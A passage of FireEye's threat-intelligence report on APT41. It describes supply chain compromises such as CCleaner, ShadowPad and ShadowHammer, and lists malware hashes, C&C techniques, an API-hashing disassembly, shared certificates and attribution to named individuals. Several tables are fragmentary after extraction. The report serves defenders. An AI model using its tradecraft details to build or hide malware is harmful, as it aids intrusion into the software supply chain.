OPERATION +History of Supply Chain +Compromises +Supply chain compromises are most likely an extension +of APT41's tactics used in gaining access to gaming +development environments and to other gaming +organizations via third-party service providers. Public +reports of supply chain compromises linked to APT41 date +back to at least 2014, and technical evidence associated +with these incidents was used to determine a relationship, +if any, with APT41. Our assessment in each of these cases +is noted in Table 1. + As demonstrated in operations targeting the video +game industry, APT41 leverages a variety of TTPs to +access production environments where they can inject +malicious code into legitimate files. The files are signed +with valid code-signing certificates and distributed +widely to end users. +Although APT41 supply chain compromises affect very +large numbers of victims, the group limits follow-on +activity to select victims most likely to reduce detection +and ensure any additional malware is delivered only +to intended victims. Counterintuitively, supply chain +operations add an additional layer of obscurity to the +group's operations because it is difficult to pinpoint the +desired target set. + In a June 2018 supply chain compromise, APT41 +leveraged MAC addresses and C:\ drive volume serial +numbers to identify specifically targeted victims for +follow-on activity. This significantly obfuscates the +targeted sector or victim set; in a typical spear-phishing +campaign, for example, desired targeting can be +discerned based on recipients' email addresses. + Supply chain targeting requires more effort than +typically observed mass targeting methods, such as +establishing a strategic web compromise (SWC) or +conducting large spear-phishing campaigns. +Table 1. Supply chain compromises. +Date +Compromised Entities +FireEye Attribution Assessment +Online games distributed by a Southeast +Asian video game distributor +December 2014 + Path of Exile +Possibly APT41 or a close affiliate + League of Legends + FIFA Online 3 +March 2017 +CCleaner Utility +Unconfirmed APT41 +July 2017 +Netsarang software packages (aka ShadowPad) +Confirmed APT41 +June 2018 - November 2018 +ASUS Live Update utility (aka ShadowHammer) +Stage 1 unconfirmed APT41 +Reported Stage 2 confirmed APT41 +July 2018 +Southeast Asian video game distributor +Infestation +PointBlank +Confirmed APT41 +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +December 2014 +In December 2014, installers for three online games +published by a Southeast Asian video game distributor +were injected with the SOGU backdoor. The installer for +these popular games was replaced by a malicious file +that dropped the SOGU backdoor along with the normal +game installer. + Use of the same malware families (HIGHNOON.BIN, +HIGHNOON.LITE, EASYNIGHT, FRONTWHEEL) + The video game distributor operates servers in East +and Southeast Asia for some of the most popular +online games, including the three games that were +compromised: Path of Exile, League of Legends, and +FIFA Online 3 (Table 2). + Video game-related supply chain targeting +We have observed many similarities between TTPs +involved in this compromise and APT41, including: + Use of HIGHNOON.BIN samples with the same +compile times + Overlap in domain resolution to the same IP netblock +(61.38.186.0/24) during the same time frame in 2012 +Despite these compelling overlaps, the actors responsible +for this compromise leverage additional unique tools not +observed with APT41 or any other Chinese espionage +group, suggesting that they are either part of APT41 and +maintain their own toolset, or a close affiliate of APT41 that +shares both tools and taskings. + Targeting the same victim organization 31 days apart + Use of code-signing certificates from the same video +game-related issuer organizations +Table 2. 2014 compromised games. +Game +File MD5 +Malware +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +March 2017 +In March 2017, suspected Chinese espionage operators +targeted CCleaner, a utility that assists in the removal of +unwanted files from a computer. According to the parent +company, Avast, the infected CCleaner was downloaded +by 2.27 million customers. While we have identified some +overlaps between the CCleaner activity and APT41, we do +not have enough information to attribute the CCleaner +compromise to APT41 at this time. + Both APT41 and the actors in the CCleaner incident +used TeamViewer during initial compromise. According +to Avast, the actors used TeamViewer to compromise a +developer workstation and used VBScript (x64.vbs) to +drop a malicious payload. + The compromised CCleaner update (which we call +DIRTCLEANER) is believed to download a second-stage +loader (MD5: 748aa5fcfa2af451c76039faf6a8684d) that +contains a 32-bit and 64-bit COLDJAVA DLL payload. +The COLDJAVA payload contains shellcode that loads a +variant of BLACKCOFFEE (Figure 8). + While COLDJAVA has been used by APT41, +BLACKCOFFEE has been used by other Chinese +cyber espionage groups, including APT17 and APT40. +It is possible that COLDJAVA may also be shared +between distinct cyber espionage operators. + Malware samples identified in the CCleaner incident +included notable shared design decisions observed in +APT41 malware, including the use of domain generation +algorithms (DGA) for C&C, use of dead drop resolvers +(DDR), and use of shellcode as primary payloads. +However, FireEye malware analysis of the compromised +CCleaner samples and associated COLDJAVA samples +did not reveal shared code with the POISONPLUG and +POISONPLUG.SHADOW malware samples used in +similar supply chain incidents by APT41. + DIRTCLEANER uses DGA to generate new C&C +domains each month. This is similar to first-stage +malware used in the Netsarang compromise described +below. + The BLACKCOFFEE sample reaches out to actorcontrolled profiles hosted on legitimate websites to +retrieve encoded commands for C&C, a technique +known as DDR. The malware parses the content of +the websites (listed in Table 3), looking for 12 bytes +contained between the tags: "BSM1cr0S0ft" and +"SBM1cr0Soft." APT41 POISONPLUG samples have +also used DDR for C&C. + The POISONPLUG and POISONPLUG.SHADOW +samples in similar supply chain incidents use a +shellcode format that resembles PE files, while the +BLACKCOFFEE backdoor that was delivered in the +CCleaner compromise uses a traditional PIC blob. +Additionally, there is apparent code reuse between +observed POISONPLUG and POISONPLUG samples +not observed in the CCleaner samples. +Table 3. BLACKCOFFEE DDR websites. +Figure 8: Malware +downloaded by +DIRTCLEANER. +File MD5 +3ca2a13f646690481 +dc15d78bac6d829 +DIRTCLEANER +COLDJAVA +BLACKCOFFEE +Legitimate DDR Websites Used for C&C +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +July 2017 +In July 2017, APT41 injected malicious code into a software +update package maintained by Netsarang and signed it +with a legitimate Netsarang certificate in an operation +referred to as "ShadowPad" by Kaspersky. The software +package is reportedly used by hundreds of companies +worldwide. + We observed numerous opportunistic infections +associated with POISONPLUG.SHADOW spanning 13 +countries and a variety of industries, demonstrating the +broad impact of this operation. However, we have not +observed the associated second-stage at any victim +organizations. Open-source reporting indicated one +victim was identified in Hong Kong. + Signing the malicious update with a legitimate +NetSarang certificate is consistent with APT41's pattern +of using legitimate certificates. In this case, all updates +were required to be signed by Netsarang, which means +APT41 had to use the code-signing certificate to subvert +the update mechanism. + Alternatively, it is also possible that APT41 injected +malicious code into the package prior to compilation, +circumventing the need to steal the code-signing +certificate and compile it on their own. + The first stage of the malware uses DGA, which changes +its C&C servers monthly. The use of shifting network +infrastructure is most likely intended to add operational +robustness and to reduce detection. + The second-stage shellcode is initialized only after it +is activated using a decryption key retrieved from the +first-stage DNS communications. This likely allows +APT41 to selectively activate the payload on specific +victim systems. The second-stage payload contains the +default C&C server, notped.com, which overlaps with +other APT41 C&C infrastructure. Other reported APT41 +domains that may also be related to the second-stage +payload can be found in Table 4. +Table 4. Reported APT41 domains associated with POISONPLUG.SHADOW. +Domain +Associated Malware Family +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +June 2018 +In June 2018, a utility used to update ASUS +computers was compromised in an operation dubbed +"ShadowHammer" by Kaspersky. Open-source +reporting indicated that more than 50,000 systems +installed the malicious update, yet the malware was +only designed to execute and retrieve second-stage +malware on a designated list of approximately 600 +systems, demonstrating this was a targeted campaign. +Public reporting on the incident noted that many of the +targeted MAC addresses were associated with wireless +adapters from various vendors, partially indicating the +operation's targeting strategy. + Although we have limited visibility into the intended +targets of this operation, we observed one of the +whitelisted MAC addresses on a system at a telecom +company. + Kaspersky's analysis of the infected machines revealed +that a POISONPLUG backdoor was installed as a result +of the malicious update. While we have been unable to +attribute the DAYJOB malware used in the incident to +APT41 due to an inability to independently confirm this +Table 5. "ShadowHammer" stage-two POISONPLUG sample. +File MD5 +C&C Domain +37e100dd8b2ad8b301b130c2bca3f1ea +Table 6. POISONPLUG samples leveraging dead drop resolving. +File MD5 +557ff68798c71652db8a85596a4bab72 +ff8d92dfbcda572ef97c142017eec658 +b0877494d36fab1f9f4219c3defbfb19 +ffd0f34739c1568797891b9961111464 +C&C Domain +sequence of events, we confirm the reported stagetwo POISONPLUG backdoor is attributed to APT41, +contained several gaming references, and was likely +used to target the gaming industry. + The POISONPLUG sample (MD5: +37e100dd8b2ad8b301b130c2bca3f1ea) attempts to +connect to a Google document that was created under +the same name and email address (Tom Giardino and +) that was used to target the +cryptocurrency organization. It also attempts to connect +to a Steam community page (Table 5). + The POISONPLUG payload uses DDR and parses the +Google document for a C&C command. The Steam +community page is likely used as a fallback mechanism. + FireEye malware analysis of the POISONPLUG sample +indicates the malware is likely designed to run only +one system with a C: drive volume serial number of +0xc25cff4c. + Additional POISONPLUG samples located in Table 6 also +leverage Google Document and Steam Community Pages +for C&C. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +July 2018 +Beginning in July 2018, APT41 appeared to have directly +targeted several East and Southeast Asia-based video +game developers and distributors to inject legitimate +executables with the CRACKSHOT backdoor. + Like other high-profile supply chain compromises +attributed to APT41, these incidents included the +incorporation of malicious code into legitimate +executables and the signing of these files using +legitimate digital certificates from the same +compromised organization. + APT41 used a C&C domain that masquerades as +Xigncode, +, in the +compromise of the video game PointBlank. Ironically, +Xigncode is a service intended to prevent hacking and +cheating in online games. + We attribute these compromises (also reported by both +ESET and Kaspersky) to APT41 based on the unique +use of the CRACKSHOT backdoor and tactics consistent +with APT41 operations. A list of related indicators is in +Table 7. +Table 7. Video games industry targeting in July 2018. +Targeted Game / Platform +MD5 Hashes +Malware +Southeast Asian video game platform +04fb0ccf3ef309b1cd587f609ab0e81e +CRACKSHOT +Infestation game +fcfab508663d9ce519b51f767e902806 +CRACKSHOT +PointBlank game +0b2e07205245697a749e422238f9f785 +272537bbd2a8e2a2c3938dc31f0d2461 +dd792f9185860e1464b4346254b2101b +CRACKSHOT +C&C Domain +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Overlaps Between Espionage +and Financial Operations +Identified overlaps across various incidents attributed +to APT41 demonstrate the group's dual nature. Figure +9 and Figure 10 illustrate crossover between espionage +and financially motivated activity, as well as technical +similarities in tools used across both types of operations. + The lure used to target the cryptocurrency exchange +(displayed in Figure 5 and translated in Figure 6) +referenced an online gaming platform, tying the +cryptocurrency targeting to APT41's focus on video +game-related targeting. + The email address +was used to +send spear-phishing emails to a Taiwanese newspaper +with the subject lure "I have a little surprise for you :)" in +an espionage campaign in August 2016 (Figure 9). + As depicted in Figure 10, hrsimon59@gmail. +com was used to create a Google document +being used as a POISONPLUG (MD5: +37e100dd8b2ad8b301b130c2bca3f1ea) C&C. As +previously mentioned, this sample also connected +to a Steam page. + The same email address was later used to target a +cryptocurrency exchange in June 2018, demonstrating +email reuse between espionage operations and +financially motivated activity. +Figure 9: +Email overlaps +between +espionage and +financial activity. +AUGUST 2016 +JUNE 2018 +Cyber Espionage +Probable Financial Motivation +Phishing email to Taiwanese newspaper +Subject: I have a little surprise for you :) +Phishing email to European +bitcoin exchange +Subject: + (FairWin) +Invitation to join a decentralized +gambling platform +ATTACHMENT +Documents.7z +8c6cceae2eea92deb6f7632f949293f0 +ATTACHMENT +FairWin.chm +223e4cc4cf5ce049f300671697a17a01 +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +ASUS SUPPLY CHAIN +(AKA +SHADOWHAMMER +Figure 10: +JUNE +NOV 2018 +Malware +overlaps across +supply chain +compromises. +DAYJOB +Trojanized ASUS Update Utility +0f49621b06f2cdaac8850c6e9581a594 +>50K +victims +COMPROMISE OF A +U.S. COMPANY +NETSARANG SUPPLY CHAIN +(AKA +SHADOWPAD +MAY 2016 +JULY 2017 +POISONPLUG +POISONPLUG.SHADOW +Stage 1 Loader +830a09ff05eac9a5f42897ba5176a36a +Trojanized Sotware Package +(DLL Loader) +97363d50a279492fda14cbab53429e75 +POISONPLUG +37e100dd8b2ad8b301b130c2bca3f1ea +100s +of victims +Compromise of a +U.S. Video Game Company +Identified at +Stage 1 +shellcode loader +a6c7db170bc7a4ee2cdb192247b59cd6 +Telecom +Victim +Stage 2 +shellcode loader +72584d6b7dd10c82d9118567b548b2b1 +STAGE 2 +activated at +unknown +victim in +Hong Kong +Speculated Connection +Confirmed Connection +Unconfirmed +Confirmed +Video Game Related +Google Document Author +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Figure 11: +POISONPLUG +API hashing (MD5: +830a09ff05eac9a5 +f42897ba5176a36a). +Figure 12: +POISONPLUG. +SHADOW API +hashing (MD5: +a6c7db170bc7a4 +ee2cdb192247b5 +9cd6). +seg000:00010246 +seg000:00010249 +seg000:0001024C +seg000:0001024F +seg000:00010251 +seg000:00010254 +seg000:0001025A +seg000:0001025D +seg000:0001025F +g000:0000F55C 0F B6 0E +g000:0000F55F 8B 45 F4 +g000:0000F562 C1 C8 08 +g000:0000F565 83 C9 20 +g000:0000F568 03 C1 +g000:0000F56A 35 A3 D9 35 7C +g000:0000F56F 83 C6 02 +g000:0000F572 89 45 F4 +g000:0000F575 66 39 3E +g000:0000F578 75 DD +g000:0000F57A 3D 61 12 5B FD + FireEye malware analysis identified source code overlaps +between malware used by APT41 in May 2016 targeting +of a U.S.-based game development studio and the +malware observed in supply chain compromises in 2017 +and 2018. + In May 2016, APT41 deployed a POISONPLUG +sample at a U.S.-based game development studio. +The stage-one loader for this sample (MD5: +830a09ff05eac9a5f42897ba5176a36a) shares code +overlaps with the stage-one shellcode loader (MD5: +a6c7db170bc7a4ee2cdb192247b59cd6) used in the +Netsarang compromise, first reported by Kaspersky +as ShadowPad. These connections, illustrated in +Figure 10, led us to identify the malware used in the +Netsarang incident as a variant of POISONPLUG +(therefore: POISONPLUG.SHADOW). + The POISONPLUG and POISONPLUG.SHADOW +variants share the observed commonalities: + The entrypoint functions for both loaders use the +same instructions, constants, and structures to pass +control to loading routines. + The layout of functions and data within the +loaders are the same; for example, following the +entrypoint, both loaders contain an unusual region +of structured data 0x60 bytes long. +movzx +edi, byte ptr [eax] +esi, 8 +edi, 20h +esi, edi +eax, 2 +esi, 7C35D9A3H +[eax], dx +short loc_10246 +esi, 0FD5B1261h +movzx +ecx, byte ptr [esi] +eax, [ebp-0Ch] +eax, 8 +ecx, 20h +eax, ecx +eax, 7C35D9A3H +esi, 2 +[ebp-0Ch], eax +[esi], di +short loc_F557 +eax, 0FD5B1261h + Both loaders use the same API hashing algorithm +to resolve routines from system libraries (Figure +11 and Figure 12). The routine uses byte-wise +operations to compute a hash, including byte-wise +rotate-right by eight bits, byte-wise binary, OR +with 0x20, and byte-wise XOR using the four-byte +key 0x7C35D9A3. Using this routine, the hash for +kernel32.dll, a common DLL provided by Microsoft +Windows, is 0xFD5B1261. + FireEye analysis of a separate POISONPLUG payload +(MD5: c8403fabda4d036a55d0353520e765c9) +compiled in July 2017 and the POISONPLUG. +SHADOW stage-two shellcode loader (MD5: +72584d6b7dd10c82d9118567b548b2b1) identified +multiple additional plug-in similarities. + Core plug-in IDs between the samples are the same, +including 100, 101, 102, 103, 104, and 201. + Core plug-in names are the same including Plugins, +Online, Config, Install, and HTTP. + C&C plug-in IDs and names between both samples +are the same, including 200/TCP, 201/HTTP, 202/UDP, +203/DNS, 204/HTTPS, and 205/SSL. + Both samples parse the C&C response by searching +for "$" characters and decoding the result. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Attribution +We assess with high confidence that APT41 is attributable +to Chinese individuals who are working on behalf of the +Chinese state in conducting cyber espionage operations, +and that these actors are also running financially +motivated campaigns for personal gain. +Two identified personas using the monikers "Zhang +Xuguang" and "Wolfzhi" linked to APT41's operations +have also been identified in Chinese-language forums. +Attribution to these individuals is backed by identified +persona information, the previous work of these +individuals, their apparent expertise in programming skills, +and their targeting of Chinese market-specific games. +It is uncertain how many other individuals may also be +associated with APT41. + Examples of domains registered to known aliases (some +of these may have since been re-registered legitimately): + Multiple domains leveraged by early APT41 activity +were registered by emails and names associated with +both Zhang Xuguang and Wolfzhi (or their alternative +monikers). Registrant information also included +references to Beijing and Chinese phone numbers (+86 +country code). +Zhang Xuguang ( +) registered more than a dozen +domains masquerading as video games or companies +with trusted relationships with video game developers/ +distributors. Long-running activity provides a catalog of +Zhang's efforts to improve his skills and expertise over time. + Additional names include: kbkxlp, akbkxlp, injuriesa, +ravinder10, Addison Lau, and addison jack + Associated email addresses: +In 2005, Zhang posted personal information on + (Chinese Hackers Alliance), a popular Chinese +online forum, that listed his date of birth as 1989, that he +previously lived in Inner Mongolia, and that he specialized +in script hacking (Figure 13). Zhang's profile indicated +he was 16, going on 17, and he was applying to be the +administrator of a script hacking forum. + Spoofed domains most likely targeted players of games +such as "Age of Wuxia," a massively multiplayer online +role-playing game (MMORPG) themed on cultural +references to dynastic China. Zhang Xugang's interest +in these games is also apparent in his registration and +posting on a forum dedicated to the Age of Wuxia +(Figure 14). +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Figure 13: +Screenshot of +Zhang's profile, +with "Zhang +Xuguang" +highlighted in +orange. +Figure 14: +Zhang posting +to Age of Wuxia +forum, with his +alias "injuriesa" +highlighted in +yellow. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Wolfzhi is linked to a 2017 profile on a data science +community page, which indicated that he had 10 years +working experience at the time of the posting, with +significant experience in Oracle and Python. Other +documents linked to his email accounts also highlight his +programming skills and database experience. + Additional aliases include: wolf_zhi, wolfjiao, jiaozhiq, +and jiaozhiqiang + Examples of domains registered under the wolf_zhi alias: + Posts in a forum provide some indication he is from +Beijing or Hebei, the surrounding Chinese province. This +is also consistent with information found in early domain +registrations created by Wolfzhi (Figure 15). +Domain: +Figure 15: +Domain +registration by +Wolfzhi. +Registrant +Wolfzhi +Wolfzhi +beijingxxxdaxia +beijing +beijing, 100000 +Tel. +86.2011111111 +Creation Date: +Expiration Date: +2011-08-23 +2011-08-23 +Additional indicators of Chinese attribution include: the +reliance on malware used exclusively by Chinese espionage +operators, the use of Chinese-language strings, time zone +and operational time analysis, and targeting consistent +with Beijing's interests. + The use of tools leveraged only by several other +Chinese operators such as HOMEUNIX and HIGHNOON +provides some indication that APT41 relies on the similar +resources and support as these other Chinese groups. +APT41 also leverages PHOTO (aka "Derusbi") and SOGU +(aka "Destroy RAT" and "PlugX"), tools shared much +more widely among Chinese espionage groups. See the +section "Links to Other Known Chinese Operators" for +more details. + An APT41 HIGHNOON sample (MD5: +36711896cfeb67f599305b590f195aec) from 2012 +contained a process debugging path (.pdb) with the +Chinese-language directory "D:\ +," which +translates to "D:\Desktop\trojan." +15:23:29 +15:23:29 + Compiled HTML (.chm) files used in targeting contained +a language code set to "Chinese (Simplified)" despite +the lure content being in the target region's language +(English or otherwise). + Compile and operational times of APT41 activity +suggest the bulk of the group's work hours, 10:00 +and 23:00 (UTC +8), are consistent with the Chinese +workday, especially for tech sector employees on a "996 +schedule." + Figure 4 shows a breakdown of all of the operational +activity within victim environments, separated +between gaming and espionage (non-gaming) +activity. Analysis of the times where APT41 modified +or accessed a file within a victim environment, shows +a concentration between 10:00 and 18:00 (UTC+8). + Targeting of healthcare, semiconductors, and telecoms +is consistent with Chinese state interests and parallels +activity from other Chinese espionage groups. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Status as Potential Contractors +We assess with moderate confidence that APT41 is +constituted of contractors tasked by the Chinese state +to conduct espionage operations. Individuals attributed +to the group have previously indicated that they +could be hired and advertised their skills and services. +APT41's use of the same malware in both financial- and +espionage-related operations could support their status +as contractors; state employees are less likely to use such +tools for personal financial gain over multiple years given +the potential for greater scrutiny or punishment. + Public reports on Chinese hackers highlight that skilled +actors opt to work for private sector entities that have +government contracts because of better pay. + APT41 cyber crime activity includes the use of +espionage-only malware, indicating two possible +conclusions: either APT41 is operating outside of +state control but still working with other Chinese APT +malware actors, tools, and infrastructure on a parttime or contractual basis, or APT41 is a full-time, statesponsored APT actor but is also working outside of +state control or direction for supplemental income. + He was also observed sharing an injection tool named +Ocean hysi ( +hysi +) to demonstrate his skills, +as displayed in Figure 16. + Tools used by APT41 in financially motivated +operations include the use of HOMEUNIX and PHOTO, +which are non-public malware used only by other +Chinese espionage actors. + A loose time separation between espionage and +cyber crime activities provides some indication that +the group divides its work hours between both types +of operations. For additional details, see Figure 4 and +the previous section "Financially Motivated Activity." +Figure 16: +Ocean injection +tool posted by +Zhang. + Underground activity dating back to 2009 indicated +that Zhang Xuguang is a hacker for hire. Zhang +advertised on forums that he was available for +professional penetration and hacking services. + Zhang listed his online hours from 4:00 p.m. + 6:00 +a.m., which are similar to the operational times +observed at gaming targets displayed in Figure 4. +China has previously relied on contractors to bolster state +resources dedicated to cyber espionage activity. Increased +integration between government units and civilian entities, +including contractors and freelancers, is believed to be a +key feature of Chinese cyber policy. + According to indictments unsealed by the U.S. +Department of Justice (USDOJ) in December 2018, +APT10 was operated by contractors working for the +China's Ministry of State Security (MSS). + In a USDOJ indictment unsealed in November 2017, +individual contractors responsible for APT3 were found +to be working for an MSS front company. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Links to Other Known Chinese +Espionage Operators +APT41 uses many of the same tools and compromised +digital certificates that have been leveraged by other +Chinese espionage operators. Initial reports about +HIGHNOON and its variants (reported publicly as +"Winnti") dating back to at least 2013 indicated the +tool was exclusive to a single group, contributing to +significant conflation across multiple distinct espionage +operations. + APT41 overlaps at least partially with public reporting +on groups including BARIUM (Microsoft) and Winnti +(Kaspersky, ESET, Clearsky). In some cases, the +primary observed similarity in the publicly reported +Winnti activity was the use of the same malware +including HIGHNOON +across otherwise separate +clusters of activity. + Previous FireEye Threat Intelligence reporting on the +use of HIGHNOON and related activity was grouped +together under both GREF and Mana, although we +now understand this to be the work of several Chinese +cyber espionage groups that share tools and digital +certificates. + APT41 reflects our current understanding of what was +previously reported as GREF, as well as additional +indicators and activity gathered during our extensive +review of our intelligence holdings. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Certificate Overlap +A digital certificate issued by YNK +Japan that was publicly reported +as being used by Winnti has been +used by multiple Chinese espionage +operators, including APT17, and +APT20, and APT41. +Issuer: CN=VeriSign Class 3 Code Signing 2009-2 CA +Subject: CN=YNK JAPAN Inc +Serial Number: 67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d +Issue-Date: 11/27/09 , Expiration-Date: 11/27/11 +A self-signed digital certificate +purporting to be from the Microsoft +Certificate Authority has been used +by both APT41 and APT40 to sign +samples of the PHOTO backdoor. +Issuer: CN=Microsoft Certificate Authority +Subject: CN=Microsoft Certificate Authority +Serial Number: (Negative)77:62:e5:c6:c9:c2:75:59:b0:b8:f5:56:60:61:d8:78 +Issue-Date: 12/31/2009, Expiration-Date: 12/30/2035 +The overlaps in groups observed using +these certificates is illustrated in +Table 8. +Table 8. Example of shared certificates between APT groups. +Serial Number +67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d +(Negative)77:62:e5:c6:c9:c2:75:59:b0:b8:f5:56:60:61:d8:78 +Subject +APT17 +APT20 +YNK JAPAN Inc +Microsoft Certificate Authority +APT40 +APT41 +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Launcher Overlap +The use of DLL side-loading has been a source of +continued confusion when used as an indicator for distinct +operations. This technique uses a legitimate and often +digitally signed executable to essentially trick a system +into launching a malicious DLL because it has been given +the same name as a legitimate DLL normally loaded by +the executable. The use of a valid and digitally signed +executable allows actors to bypass host-based security +measures. For this reason, it continues to be popular +mechanism used by multiple groups. This also explains +why the use of these DLL filenames is not a unique +indicator for distinct APT operators. Table 9 contains +legitimate executables used by APT41 and selected other +Chinese cyber espionage groups for DLL side-loading: +Table 9. Legitimate files used by different APT groups for DLL side-loading. +File MD5 Hash +Filename +APT9 +APT10 +APT20 +APT41 +09b8b54f78a10c435cd319070aa13c28 +nvSmartEx.exe +26a196afc8e6aff6fc6c46734bf228cb +form.exe +Code Family Overlap +A significant number of non-public tools used by +APT41 are shared with other distinct Chinese espionage +operators. Source code overlaps between observed +code families indicate potential access to shared code +repositories or common developers between groups. + APT41 has used several malware families that have +also been used by other Chinese espionage operators, +including variants of HIGHNOON, HOMEUNIX, PHOTO, +SOGU, and ZXSHELL, among others. Table 10 illustrates +some of overlap between malware families used by +APT41 and other APT groups. Note that this is only for +illustration purposes and is not indicative of all observed +malware families used by these APT groups or all groups +that have used those families. + HIGHNOON, one of the main code families observed +being used by APT41, was also used by APT17 in 2015 +to target semiconductor and chemical manufacturers. + HOMEUNIX, another popular backdoor used by +APT41, has been used by at least 14 separate Chinese +espionage groups, including APT1, APT10, APT17, +APT18, and APT20. + JUMPALL is a dropper that has been observed +dropping variants of the HIGHNOON, ZXSHELL, and +SOGU code families attributed to APT17 and APT41. +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Table 10. Code family overlap among different Chinese espionage groups. +Malware +APT1 +APT3 +APT10 +APT17 +APT18 +APT19 +APT40 +APT41 +BLACKCOFFEE +CHINACHOP +COLDJAVA +HIGHNOON +HIGHNOON.BIN +HIGHNOON.LITE +HOMEUNIX +JUMPALL +PHOTO +SOGU +ZXSHELL +Table 11. CLASSFON sample with internal name "DrvDll.dll" and contains reference to "PlusDll.dll". +File MD5 Hash +Malware +Internal Filename +Device Driver Name +9e1a54d3dc889a7f0e56753c0486fd0f +CLASSFON +DrvDll.dll +PlusDll.dll +Table 12. APT41 HIGHNOON.BIN samples that reference "PlusDll.Dll". +File MD5 Hash +Malware +Process Debugging Path +36711896cfeb67f599305b590f195aec +HIGHNOON.BIN +\Anti_winmm\AppInit\AppInit\Release\AppInit.pdb +a0a96138b57ee24eed31b652ddf60d4e +HIGHNOON.BIN +H:\RBDoor\Anti_winmm\AppInit\AppInit\Release\AppInit.pdb + APT41 has not only shared the same tools with other +Chinese espionage operators but also appears to have +access to shared source code or developers as well. + APT41 has used CROSSWALK.BIN, a kernel driver, +to circumvent firewalls and covertly send data. +Another Chinese espionage group used a similar +tool, CLASSFON, to covertly proxy network +communications in 2011. + CLASSFON (MD5: +9e1a54d3dc889a7f0e56753c0486fd0f) has an +internal name of DrvDll.dll and an embedded device +driver that is internally named PlusDll.dll (Table 11). +The PlusDll.dll filename has also been identified in +APT41 HIGHNOON.BIN samples (Table 12). + PDB paths identified in related APT41 HIGHNOON. +BIN samples contain the name "RBDoor," which +has also been identified in samples of HIGHNOON, +HIGHNOON.LITE, HIGHNOON.CLI, and GEARSHIFT +(Figure 17). APT41 files containing PDB paths +referencing "RBDoor" are listed in Table 13. At least +two of these malware families, HIGHNOON.CLI and +GEARSHIFT, have been used by APT17 and another +suspected Chinese espionage group. + Further information regarding code family overlaps +between variants can be found in "Technical Annex: +Additional Malware Overlaps." +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Figure 17: +PDB paths +containing +"RBDoor". +H:\Double-V1\stone_srv\Bin\RbDoor64.pdb +H:\Double\Door_wh\AppInit\x64\Release\AppInit.pdb +H:\Double\Door_wh\RbDoorX64\x64\Release\RbDoorX64.pdb +H:\Double\door_wh_kav\Bin\RbDoor64.pdb +H:\RBDoor\Anti_winmm\AppInit\AppInit\Release\AppInit.pdb +H:\RBDoor\Anti_winmm\AppInit\AppInit\x64\Release\AppInit.pdb +H:\RBDoor\Anti_winmm\AppInit\ShutDownEvent\x64\Release\ShutDownEvent.pdb +H:\RbDoor\Anti_winmm\AppInit\AppInit\Release\AppInit.pdb +H:\RbDoor\Anti_winmm\AppInit\RbDoorX64\Release\RbDoor.pdb +H:\RbDoor\Anti_winmm\AppInit\ShutDownEvent\Release\ShutDownEvent.pdb +H:\RbDoor\Lib\WMI_SSL\RemoteLib\bin\TestRjLib.pdb +H:\Svn\Double-V1\stone_srv\Bin\RbDoor64.pdb +Table 13. APT41 samples with PDB paths containing "RBDoor". +File MD5 Hash +Malware +46a557fbdce734a6794b228df0195474 +HIGHNOON +77c60e5d2d99c3f63f2aea1773ed4653 +HIGHNOON +a0a96138b57ee24eed31b652ddf60d4e +HIGHNOON.BIN +7d51ea0230d4692eeedc2d5a4cd66d2d +HIGHNOON.BIN +849ab91e93116ae420d2fe2136d24a87 +HIGHNOON.BIN +ba08b593250c3ca5c13f56e2ca97d85e +JUMPALL +f8c89ccd8937f2b760e6706738210744 +GEARSHIFT +5b26f5c7c367d5e976aaba320965cc7f +GEARSHIFT +SPECIAL REPORT | DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION +Use of Code-Signing Certificates +APT41 regularly leverages code-signing certificates to +sign malware when targeting both gaming and nongaming organizations. Notably, most of the digital +certificates being used in this manner are valid unrevoked +digital certificates stolen from East Asia-based game +development studios. APT41 likely signs their malware +to ensure compatibility with the targeted systems and to +potentially avoid detection. + Microsoft requires all kernel-mode drivers to be signed +in order to run on operating systems running Windows +Vista or later. + The use of code-signing certificates can also +significantly decrease the likelihood that a malicious +payload is detected. +Although we do not have direct evidence of APT41 +specifically targeting and stealing code-signing certificates, +we have some indication from targeting of affected +organizations within the same time frame that digital +certificates are first compromised and used to sign malware. + Stealing private keys or compromising an organization's +infrastructure to access and steal digital certificates +abuses trust relationships between firms and certificate +authorities. Malicious files signed with valid digital +certificates can circumvent automated scanning/ +blocking solutions and bypass Windows group policies +which restrict unsigned code from running. + Even when detected, malicious files signed by +a digital certificate from a trusted partner or +associated business are less likely to draw suspicion. +According to an advertisement in an underground +marketplace, the success rate of installing a payload +increases by as much as 50 percent when signing +files with valid digital certificates. + In most cases, multiple digital certificates are issued to +an organization using the same public name, making +it more difficult to identify a compromised certificate +among others with identical names. + 